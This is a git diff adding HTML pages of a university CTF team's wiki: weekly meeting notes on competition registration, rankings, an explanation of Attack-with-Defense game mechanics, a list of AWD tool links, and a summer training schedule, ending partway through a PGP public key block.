+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-05-19/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-05-19/index.html new file mode 100644 index 000000000..c5c622fc7 --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-05-19/index.html @@ -0,0 +1,8327 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-05-19 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2022-05-19

+
    +
  1. The competition signs up and forms submit.
  2. +
  3. Rules and the qualifier round notes.
  4. +
  5. Upcoming competitions.
  6. +
+

Register

+

All the competition materials have been submitted.

+

Online submission:

+

https://datacon.qianxin.com/competitions/25/introduction

+

Choose one of the 2 competitions and submit online team information.

+

https://pan.baidu.com/s/1S4aVRq92IPc8QkCHK3o-sg?pwd=b5jb

+

Some materials about the knowledge challenges.

+

I have questioned the knowledge challenges and the CTF part. According to the response from the sponsor, those 2 events would be held at the same time.

+

The score is 30% knowledge + 70% CTF

+

Some notes

+

【问题1】5.22本校参加ctf比赛的学生当天要参加学校组织的拍毕业照活动,时间上冲突了

+

答:由于这是全省统一比赛时间,请贵校自行协调。

+

【问题2】5月28- 29号要参与全国大学生信息安全竞赛,与省赛决赛冲突

+

答:组委会已和团省委沟通,决赛将延期举行,请各高校留意后续通知。

+

【问题3】第一阶段知识竞赛是每个队固定题数还是每个队在固定时间内答题,答题数目不做限制?

+

答:安全基础题和CTF同时开启,10:30安全基础题答题关闭,17:30关闭CTF答题,初赛结束,初赛共计8小时,分值按安全基础分值30%+70%CTF夺旗,按照成绩高低取前30名队伍进入省级总决赛,每个高校晋级队伍不超过2个。

+

(安全基础题和CTF同时开启的目的是为了部分能力强的学生比如只花30分钟答完理论,多余的时间就可以解ctf)

+

【问题4】如果是第一种规则,又是固定题数直接系统分配到每个队员,还是说直接全部题目给到整队,队内自行分配?

+

答:全部题目给到整队,每个队员可查看,只有队长有权限答题。

+

【问题5】知识竞赛是开卷的还是不会可以上网查的

+

答:知识竞赛是开卷,只有1个小时答题时间。

+

【问题6】各高校团委是否需要提供场地给予学生初赛(考虑到线上无摄像头 怕指导老师帮忙做的情况)

+

答:是否提供场地由各高校团委自行决定,线上初赛无法对参赛队伍做题过程进行绝对的监控,但是平台会有反作弊机制,作弊的队伍将取消成绩,并且每个学校最多只能有2个队伍进入决赛。

+

【问题7】各高校需要提供什么东西给到学生比赛

+

答:理论上不需要提供,学生参加比赛即可

+

【问题8】平台报名无法使用特殊字符,需要更改报名队伍名字,这与之前是否提交的Excel表冲突。

+

答:不冲突;后续的相关信息均以线上报名平台为准。

+

【问题9】登录注册平台出现404画面或持续转圈

+

答:需用电脑端登录,如果出现浏览器加载慢的情况,建议使用Chrome浏览器进行访问。首次使用我们的datacon平台,请先注册--->登录--->进入赛事组队报名--->邀请队友--->报名完成,等待开赛。

+

【问题10】平台是否需要队长和队员同时报名?

+

答:队友只需要注册账号就行,队长组队后邀请队友。

+

Upcoming challenges

+

2022年第19届信息安全与对抗技术竞赛 ISCC (skip)

+

https://iscc.isclab.org.cn/

+

个人挑战赛 till May, 25th

+

分组对抗赛 七月中旬

+

第十五届全国大学生信息安全竞赛创新实践能力赛

+

http://www.ciscn.cn/competition/securityCompetition?compet_id=36

+

报名截止至5月20日,初赛时间为5月28日

+

第六届“蓝帽杯”全国大学生网络安全技能大赛

+

https://www.qianxin.com/bluehatcup/2022

+

线上赛报名:2022-05-06 09:00:00 - 2022-05-23 18:00:00

+

线上赛时间:2022-05-25 09:00:00 - 2022-05-25 17:00:00

+

Hack-A-Sat 3 Qualifiers (skip)

+

https://www.hackasat.com/

+

星期六, 21 五月 2022, 22:00 CST — 星期一, 23 五月 2022, 04:00 CST

+

DEF CON CTF Qualifier 2022

+

https://quals.2022.nautilus.institute/

+

星期六, 28 五月 2022, 08:00 CST — 星期一, 30 五月 2022, 08:00 CST

+

2022DASCTF MAY 出题人挑战赛 (skip)

+

https://buuoj.cn/plugins/ctfd-matches/matches/107

+

2022年5月21日10:00-18:00

+

Note

+
    +
  • [ ] 本周日(22日)进行第二届大学生网络安全竞赛的初赛
  • +
  • [ ] 竞赛太多了,需要进行一些安排
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-05-26/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-05-26/index.html new file mode 100644 index 000000000..3d5364b2b --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-05-26/index.html @@ -0,0 +1,8233 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-05-26 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-05-26

+
    +
  1. The competition result.
  2. +
  3. About the summer vacation schedule.
  4. +
  5. Upcoming events summary.
  6. +
+

2nd Guangdong CTF

+

2 top 50 teams:

+ + + + + + + + + + + + + + + + + + + + +
Team nameRankWriteups
HED9Submitted
MFGI37Submitted
+

Removed repetitive teams from the top 36 (3 or more teams of the same university), MFGI's rank is 28.

+

I'm waiting for the notifications of the final round. However, the organizers are still counting the results (till 15:00 Thursday).

+

Summer Schedule

+

During the summer of 2022, we are going to open another training and recruiting plan.

+

The summer schedule would be divided into 2 parts: basic rank and advanced rank. The previous one's goal is to teach some necessary knowledge for the interests and would be easier. The last one's goal is to train for the COMPASS team which would be harder.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BasicAdvanced
Estimated time per week6 hours15 hours
Knowledge levelfor interestsfor competitions
LecturesYesYes
Weekly challengesOptionalYes
Leader for trainingGroup discussionAssigned team members
Qualification examfree to participatefree to participate, +5 points
+

The training schedule would last for 2 months, and then we would have a qualification exam. Around the top 20% of members are admitted to the team.

+

The detailed schedule and the document would be published on a single page (Before the summer vacation).

+

Upcoming Events

+

The page has been updated in 2022 Spring.

+

DEF CON 30

+

https://quals.2022.nautilus.institute/dashboard

+

I have already submitted a team C0MP4SS.

+

Qualifications begin 2022年5月28日 GMT+8 8:00:00 1653696000

+

Qualifications end 2022年5月30日 GMT+8 8:00:00 1653868800

+

Note

+
    +
  • [x] 本周日(22日)进行第二届大学生网络安全竞赛的初赛
  • +
  • [ ] 暑期计划相关的文档整理与情报收集
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-06-03/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-06-03/index.html new file mode 100644 index 000000000..ddfea06cc --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-06-03/index.html @@ -0,0 +1,8270 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-06-03 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-06-03

+
    +
  1. 2nd Guangdong CTF Final.
  2. +
  3. AWD introduction and the toolkit.
  4. +
  5. Summer schedule.
  6. +
  7. The upcoming training and the competitions.
  8. +
+

2nd Guangdong CTF Final

+

The competition score of HED is 9th place in the CTF and 80% in the knowledge challenge.

+

HED: 8th rank and qualified for the final round.

+

If you are very close to the final, don't be upset. Try harder and your studies would be paid back.

+ + + + + + + + + + + + + + + + + + + + + +
TeamScore to final
MFGI0.38
W3r3wo1fki1110.14
猫猫划水队11.22
+

You are very talented. 10 points can be a 400 points challenge, keeping learning and you can win very soon.

+

AWD

+

AWD, attack with defense.

+

https://youtu.be/RkaLyji9pNs

+

The Gameserver

+

It is provided by the organizers and runs throughout the competition, starting when the network is opened. It periodically stores flags on your Vulnbox using the functionality in the provided services. It then later retrieves these flags, again using existing functionality. The Gameserver does not run exploits! It simply uses the service as intended.

+
+

Now, why can't the other teams then simply do what the Gameserver does?

+
+

The Gameserver has more information. Every service is either designed to allow the Gameserver to store a specific token for each flag or generates one and returns it to the Gameserver.

+

The Gameserver uses this token to check periodically that the flag is still there. Whether or not it gets the stored flag using that token, determines your SLA (Service Level Agreement). You mustn't remove or break any legitimate functionality.

+

Some services can have a vulnerability that directly leaks the flag, which will let you retrieve the flag easily. For others, it will require more effort.

+

Your Vulnbox

+

The Vulnbox is your running instance of the virtual machine image given to you by the organizers. It contains and runs all the services of the competition and should be reachable at all times. The Gameserver stores its flags here and uses the communication with this machine to decide if your services are working as intended or not. This machine is accessible to everyone on the network, and is the target for all the exploits from other teams.

+

Protecting the flags on this machine is what determines your defense points!

+

You normally have one hour from getting the decryption password of your Vulnbox until the network between teams is opened and everyone can attack each other. Use this time to get the VM running, then start analyzing what's running on it. It has happened that services with vulnerabilities that are easy to find have been exploited as soon as the actual competition starts.

+

For learning how to host the Vulnbox, have a look at Basic Vulnbox Hosting.

+

The other teams

+

All the other registered teams are connected to the same VPN as you. Their Vulnboxes have known IP addresses, all other machines are off-limits! The other teams will run exploits from their own machines, but the VPN infrastructure will use NAT to obfuscate whether a packet came from the Gameserver or another team.

+

Successfully stealing and submitting flags from the Vulnbox of other teams determines your attack score!

+

If you have played jeopardy CTFs before, you already know flag submission. In this game, however, you'll have to run your exploits periodically, as new flags get stored by the Gameserver every few minutes. So you probably want to script exploits and submit Flags automatically and you don't spend all your time manually exploiting everyone.

+

Training and toolkit about AWD

+

We can hold an AWD training and competition this weekend, if you are interested to.

+

Note

+
    +
  • [ ] 暑期计划相关的文档整理与情报收集
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-06-09/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-06-09/index.html new file mode 100644 index 000000000..56701947d --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-06-09/index.html @@ -0,0 +1,8530 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-06-09 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2022-06-09

+
    +
  1. Skip the training this week.
  2. +
  3. AWD tool list.
  4. +
  5. (Update) Summer schedule
  6. +
  7. Upcoming events.
  8. +
+

Schedule for this week

+

Our members are going to have the final exams.

+

The training schedule for this weekend is skipped.

+

Hope you have a good grade in your exams!

+

AWD tool list

+

AoiAWD: https://wiki.compass.college/Tool/AWD/AoiAWD/

+

Auto-AWD: https://wiki.compass.college/Tool/AWD/Auto-AWD/

+

AWD_auto_attack: https://wiki.compass.college/Tool/AWD/AWD_auto_attack/

+

awd-submit-flag: https://wiki.compass.college/Tool/AWD/awd-submit-flag/

+

awd-watchbird: https://wiki.compass.college/Tool/AWD/awd-watchbird/

+

flower: https://wiki.compass.college/Tool/AWD/flower/

+

ShellCat: https://wiki.compass.college/Tool/AWD/ShellCat/

+

Summer schedule

+

tl,dr;

+
    +
  • Training time: from June, 19th to August, 14th.
  • +
  • Offline training would be held every Sunday from 9 am to 6 pm in 551 Meeting Room, Southern Tower of the Engineering Department.
  • +
  • Two tiers: basic level and advanced level.
  • +
  • The qualification exam would be on August 13th and 14th.
  • +
  • Enjoy your tour of CTF and the infosec.
  • +
+

Timeline

+

The time schedule would according to the weekly training topics. Every week, we would have a topic to focus on. During the training time, our timeline is set to the following table.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TimeTopicIntroductionMaterial
June, 19thCTF Overview & Fun-oriented challenges.Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team.Introduction to CTF.pdf
June, 26thLinux, Programming, and ToolkitIntroduce how to operate a Linux system using CLI, and install your environment. Learn how to program with Python. Install the toolkit.Linux, Programming, and Toolkit
July, 3rdWeb Challenges and DatabasesAbility to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets.Web Challenges and Databases.pdf
July, 10thForensics & SteganographyAnalyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images.Forensics_Steganography.pdf
July, 17thModern Cryptography and MathematicsAsymmetric cryptography like RSA, ECC. A mathematic definition of security and attacks on modern cryptography.Cryptography.pptx
July, 24thAssembly LanguageLearn about some CISC knowledge. Use x86_64 as example to do assembly. Some reverse engineering skills are involved.Reverse.pdf
July, 31thOperating SystemsGuide to the OS course, learning about modern operating systems from Windows, Linux, to Android. About hardware, process architecture, how OS schedule procedure.Operating Systems.pptx
August, 7thBinary ExploitationsPWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges.Binary Exploitation.pdf
August, 13thReport and SummaryBefore the final exam, we would have a report week to share your learning and conclusion on the CTF.TBA
August, 14thExamBrand new challenges to solve this year, and winners would be qualified to the team.TBA
+

Exam and the score

+

The training schedule isn't a course or something you need to rat race to get an A-level score. But, I think taking some grades can be feedback on your learning.

+

How to join the compass team? Sometimes, joining the CTF competitions can be done by oneself, but usually, we need teamwork to get a better grade in the competitions. You don't want your teammate to be a newbie, right? The exam and the score are used to make sure that every member is great.

+

Thus, if you find anything that is non-reasonable in our score system, please write an email to me. I would appreciate having your advice.

+

The scoring system won't have a cap, you can get as many points if you want. However, I don't like the rat race. So, every category would have a percentage in the result.

+

The final score formula is: score = weight * sum(percent * log(2, score))

+

The categories involves,

+
    +
  • Evaluation of the weekly challenges, and competitions: 30%.
  • +
  • Remark from the team members: 10%.
  • +
  • The sharing and the report score: 15%.
  • +
  • The final exam: 100%.
  • +
+

The weight would be according to your grade. A freshman in the university is less experienced compared with the senior students, but from future learning, a freshman can have more time to improve. The weight is in order to balance the grades.

+
    +
  • Freshman (grade 1): +6%.
  • +
  • Sophomore (grade 2): +4%.
  • +
  • Junior (grade 3): +2%.
  • +
+

This is summer training, and we won't have any senior members (they are already graduated).

+

For example, if you got 3127 in the challenges and competitions, 155 in the remarks, 229 in the report, and 1625 in the final exam. You are a freshman in the university and just finished your first year. The total score would be: 1.06 * (0.3 * 11.610563503925041 + 0.1 * 7.2761244052742375 + 0.15 * 7.839203788096944 + 1 * 10.66622400280318) = 17.016059226486018.

+

Upcoming events

+

强国杯

+

img

+

https://www.qiangguobei.org.cn/

+

https://www.qiangguobei.org.cn/index/match/detail/id/12.html

+

Register: starts from 2022-06-08

+

Online Jeopardy: 2022-07-06

+

Online region challenges: 2022-07-24 (TBA)

+

Offline final: 2022-08-31 (TBA)

+

网鼎杯

+

https://www.wangdingcup.com/

+
官方资格赛线上报名
+

6月2日10:00-7月27日20:00

+
官方资格赛(青龙组)
+

参赛行业:高等院校,职业院校,无单位挂靠的社会参赛队伍

+

8月4日9:00-17:00

+
官方资格赛(玄武组)
+

参赛行业:科研机构、科技企业、互联网企业、网安企业

+

8月9日9:00-17:00

+
半决赛
+

8月28日

+
总决赛
+

8月29日

+

Note

+
    +
  • [x] 暑期计划相关的文档整理与情报收集
  • +
  • [ ] 下学期CS315的内容修改
  • +
  • [ ] 年底会议有关计算机安全课程&CTF相关的经验总结
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-06-16/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-06-16/index.html new file mode 100644 index 000000000..988c6e097 --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-06-16/index.html @@ -0,0 +1,8406 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-06-16 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+ +
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-06-16

+
    +
  1. Upgrades in CTFtime rank.
  2. +
  3. Introduction to this weekend.
  4. +
  5. Upcoming events.
  6. +
+

CTFtime rank

+

Just got HSCTF9 #79, and the CTFtime team rank goes to the #28 in China.

+

Participated in CTF events

+ +

Overall rating place: 473 with 41.261 pts in 2022

+

Country place: 28

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PlaceEventCTF pointsRating points
79HSCTF 93351.00009.690
1041337UP LIVE CTF1629.00003.547
31Engineer CTF5229.000012.184
27Codegate CTF 2022 Preliminary1802.00005.842
194DefCamp CTF 21-22 Online100.00001.061
159Real World CTF 4th32.00000.748
140KnightCTF 20222425.00008.190
+

Introduction to this weekend

+

We are going to have our first summer training!

+

Training time: June, 19th from 9:00 am to 18:00 pm

+

Location: 551 Meeting Room, Southern Tower of the Engineering Department & Online

+

Topic: CTF Overview & Fun-oriented challenges.

+

What we are going to do

+

This week, we would register all members who want to participate in our summer schedule. I'm going to share something interesting about the CTFs and InfoSec. It's also a great time to meet some team members.

+

In the morning:

+

Discuss the schedule plans. Choose your learning goal and find the appropriate level. We would talk about some fun parts in the InfoSec also.

+

In the afternoon:

+

Learn about the different types of the CTF, and which kind of events you are interested in. Let's work on some teamwork and solve the challenges. Hope you enjoy the travel to InfoSec.

+

What you should take

+
    +
  • A fully functional laptop (if you want to bring a desktop, it's also fine). Don't forget to take the charger.
  • +
  • +

    An earphone. We are going to listen to some audio.

    +
  • +
  • +

    Your teammate, classmate, and whoever you want to work with.

    +
  • +
+

Upcoming events

+

STANDCON CTF 2022

+

星期六, 18 六月 2022, 10:00 CST — 星期日, 19 六月 2022, 10:00 CST

+

https://standcon.n0h4ts.com/

+

STANDCON is an annual flagship Cybersecurity Conference and Capture the Flag Competition.

+

organized by N0H4TS, Division Zero. This year, STANDCON will be held from 17 - 19 June 2022.

+

virtually in Singapore, via Gather Town and Discord.

+

TyphoonCon CTF 2022

+

星期一, 20 六月 2022, 17:00 CST — 星期五, 24 六月 2022, 17:00 CST

+

https://typhooncon.ctfd.io/

+

TyphoonCon conference and workshop was founded in 2018 by SSD Secure Disclosure. As part of TyphoonCon, we will be hosting an on site and online CTF with specially crafted challenges alongside fantastic prizes.

+

The event will be running from Monday, June 20th to Friday, June 24th, 2022, at 12 PM KST.

+

Registration is now open at https://typhooncon.ctfd.io/.

+

20-24 June 2022, Seoul, South Korea.

+

All Offensive Security Conference.

+

BSidesTLV 2022 CTF

+

星期一, 27 六月 2022, 14:00 CST — 星期三, 29 六月 2022, 14:00 CST

+

https://bsidestlv.com/ctf/2022/

+

BSidesTLV is one of Israel's leading cyber conferences for hackers and security researchers - also hosting the annual Capture The Flag (CTF) competition!

+

Thank you for your interest in attending BSidesTLV 2022!

+

Due to overwhelming demand, we are temporarily pausing new registrations for our IN-PERSON conference on June 30 taking place during Tel Aviv University’s Cyber Week.

+

We will announce updates on our mailing list and social media when registration resumes, stay tuned!

+

If you plan to join us virtually, you do not need a ticket to watch the live stream or Join our Slack!

+

Note

+
    +
  • [ ] 筹备周末的训练题目与材料
  • +
  • [ ] 发一封邀请邮件
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-06-23/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-06-23/index.html new file mode 100644 index 000000000..96e3631e1 --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-06-23/index.html @@ -0,0 +1,8186 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-06-23 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-06-23

+
    +
  1. The first week of the summer schedule.
  2. +
  3. Upcoming events.
  4. +
+

Summer schedule

+

The progress isn't good...

+
    +
  • 12110842 刘欣萌
  • +
  • 12112848 李烨
  • +
+

We have 2 new members for this summer.

+

I'm working on the advertisement for all students.

+

poster

+

Upcoming events

+

Azure Assassin Alliance CTF 2022

+

2022-06-25 09:00:00——2022-06-27 09:00:00

+

https://adworld.xctf.org.cn/competition/

+

本届ACTF 2022是由XCTF联赛的合作单位AAA战队 (Azure Assassin Alliance)组织,由赛宁网安提供技术支持。作为第七届XCTF国际联赛的分站赛,本次比赛将采用在线网络安全夺旗挑战赛的形式,面向全球开放。

+

此次比赛冠军队伍将直接晋级第七届XCTF总决赛(总决赛具体地点时间待定,将在确定后通知获得资格的国际和国内队伍)。其他参赛的队伍也将获得积分,来竞争XCTF总决赛的其他席位。

+
    +
  • 比赛的邀请会私聊发送给校队成员
  • +
+

Note

+
    +
  • [ ] 准备本周的训练内容与题目更新
  • +
  • [ ] 私聊邀请参加过竞赛的成员加入
  • +
  • [ ] 空间宣传+群宣传
  • +
  • [ ] 赛题平台更新,修改部署方式
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-07-07/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-07-07/index.html new file mode 100644 index 000000000..fce6f3583 --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-07-07/index.html @@ -0,0 +1,8173 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-07-07 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-07-07

+
    +
  1. Training schedule.
  2. +
  3. CTFd-whale environment and challenge docker.
  4. +
  5. Competition register notification.
  6. +
+

Training Schedule

+

Summer schedule have already finished the first two weeks. From the last week, we have 53 registered members.

+

The offline training has 19 members in the morning, and 22 members in the afternoon.

+

Every week I have selected several challenges for learning. If you are interested, finish those challenges from https://compass.ctfd.io/

+

For this week, I'm designing new materials for the advanced network and web exploiting. Some new challenges would be used.

+

CTFd-whale

+

http://detroit.sustech.edu.cn now has a functional CTFd-whale environment. I'm working on the following works:

+
    +
  • Applying Internet connection for the website.
  • +
  • Applying HTTPS port.
  • +
  • Syncing challenge environments with CTFd-whale docker.
  • +
+

The new type of challenge platform would be online in a week.

+

Competition Notification

+

强国杯

+

https://www.qiangguobei.org.cn/

+

The register due on July, 15th.

+

If you want to join this event, please contact me.

+

Note

+
    +
  • [ ] 周末训练材料更新+基础内容补充
  • +
  • [ ] 题目容器打包迁移
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-07-14/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-07-14/index.html new file mode 100644 index 000000000..d272535cb --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-07-14/index.html @@ -0,0 +1,8346 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-07-14 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-07-14

+
    +
  1. Training schedule.
  2. +
  3. CTFd-whale environment and challenge docker.
  4. +
  5. Competition register notification.
  6. +
+

Training Schedule

+

Summer schedule have already finished the first two weeks. From the last week, we have 53 registered members.

+ + + + + + + + + + + + + + + + + + + + +
DateMorningAfternoon
Week 21922
Week 31421
+

In the past few weeks we have some interesting sharing materials. Including things I haven't mentioned in the tutorial.

+

In this weekend, we would look forward to the sharing from:

+
    +
  • 冯泉弼: HTTP Request Smuggling
  • +
  • 吴亓: CTF 101 Web Tutorial
  • +
  • 唐骞: SQL Injection
  • +
+

Hope everyone enjoys summer schedule.

+

CTFd-whale

+

http://detroit.sustech.edu.cn is now applying for the public Internet access. The ports are 80/443, 28000-30000.

+

https://hub.docker.com/search?q=compassctf contains the docker image for CTFd-whale containers. I'm still working on the image construction. The old https://compass.ctfd.io/ would be configured to the new location after the setup.

+

Containers I have done:

+
    +
  • php_inclusion
  • +
  • php4fun6
  • +
  • web11
  • +
  • 003fileupload
  • +
  • php_audit
  • +
  • callme
  • +
  • php4fun9
  • +
  • php4fun2
  • +
  • php4fun1
  • +
  • php4fun4
  • +
  • cbc
  • +
  • web12
  • +
  • badchars
  • +
  • php4fun5
  • +
  • web9
  • +
+

Containers under construction:

+
    +
  • sanity_check
  • +
  • web_sign
  • +
  • dove_server
  • +
  • tricky_php
  • +
  • bbs
  • +
  • wish_server
  • +
  • ret2win
  • +
  • split
  • +
  • write4
  • +
  • fluff
  • +
  • pivot
  • +
  • exec_1
  • +
+

Meanwhile, I'm going to write a quick start for CTFd-whale docker image construction, and we can make some new nice challenges.

+

Competition Notification

+

网鼎杯

+

The ITS has called me to sign up this competition, and we would like to attend this event.

+

https://www.wangdingcup.com/

+

Register due to July, 27th. Please send me those information:

+
    +
  1. Your name.
  2. +
  3. Your phone number.
  4. +
  5. Your ID number.
  6. +
  7. Your department.
  8. +
  9. Your email.
  10. +
+

The information can be sent through WeChat directly, otherwise by using my PGP public key to encrypt.

+
-----BEGIN PGP PUBLIC KEY BLOCK-----
+Version: Keybase OpenPGP v2.0.76
+Comment: https://keybase.io/crypto
+
+xsBNBGLFb2IBCADcYFJvQZLLRwMVSu/d/q8S1ik4EqOc4GfAMr5dzmgrxXAw7Ywu
+nnjWDBxQQtDBWll6JKgZXqq4oesK9fY/EDmD3viIPX2FDJ38Mg9qG4OQiWZpFqX2
+zJxY2e3x3GmEXuk55b5orZKs7jkB3Eth6dX+knfe+2YAwIKnvoNcrUoTIf6fhahz
+tm6CsiBRZRH/g0E2N3UsH1v4NwPPiihy0Ey/15paymNy6f4JmnOxIfPdpM77i8zu
+io8geMDxJ9SoXPGmoD2YwNvkUT7resAuZ6e54udd3gJxTbIj8yJ0W6Edqn6gj4BG
+tA7z58Dd9sjS9eUJgbBNNf5HIXfw14xH/NU5ABEBAAHNKkVuZGVyYW9lIEx5dGhl
+ciA8ZW5kZXJhb2VseXRoZXJAZ21haWwuY29tPsLAegQTAQoAJAUCYsVvYgIbLwML
+CQcDFQoIAh4BAheAAxYCAQIZAQUJAAAAAAAKCRAbLvurB419y6tbB/9TCKhEzevL
+T1YNqBwQamK/60MsU9wcRCmvorJDNCXY9ZNK4joQUgIAuhJFrX9zzEsHia6+6BdM
+ei1buaEmVbK1EyPMIm8XmCHRY0DN5ft0hyLsVmr5WgiYyJpCzkQI2/tVJz9eSaQ6
+E5MhOoXS4TYwMtCRflF+6alBqZYEr2CwWMqD7zE/ZW74nTisHksFS06XE5svnaH6
+BK0CsxHY2Tm7tk+BRFvQqSYp0TCHohiomhp2LHr3DWTU25fsN0vfP5pk6WOA4lQ7
+Js6s3uop76TkIvXxmMgOgYNrqc9ZImCjuPcPk2WcZgy9DcIkp/NZkwckKiRCcV3J
+G5zNAECvjhb8zsBNBGLFb2IBCADJLKnHBXk+ZW34LNhn/EymloBU+FJ4AT+gLKmL
+l87Bb1SuYN+YcsPx+CIPcEGSvE3q8qVLBmJdfSep7qXV3/sLmAgtEy2NNe870ath
+adiGASHdwX0jdcsjYXr3IkBI3Ij6AY9f2v/aeXI0cfEK2PiG+iBN6teG5XYkxbAl
+0UzsiQoy0xaLJYxHk7vNWT/J3ra1jMDz8W/ZRmZFO0Sy/FpOUQOVOWYE96prXTwC
+FHJFSQIeEVnN780iwR+HNdF5miTufkjG055lt2mkvgxM5xH5S1xhn4IwIsD8dULk
+I3QKnKx3BTDE29WvEOSs0oIy6DkBu34nhslX4F1jmjnXRtenABEBAAHCwYQEGAEK
+AA8FAmLFb2IFCQAAAAACGy4BKQkQGy77qweNfcvAXSAEGQEKAAYFAmLFb2IACgkQ
+gvV2URV+hTvdtwf/TVe72Eiuq98aPek4UbFLNedkrMPaI+tVyGXgnVno7dDHKBia
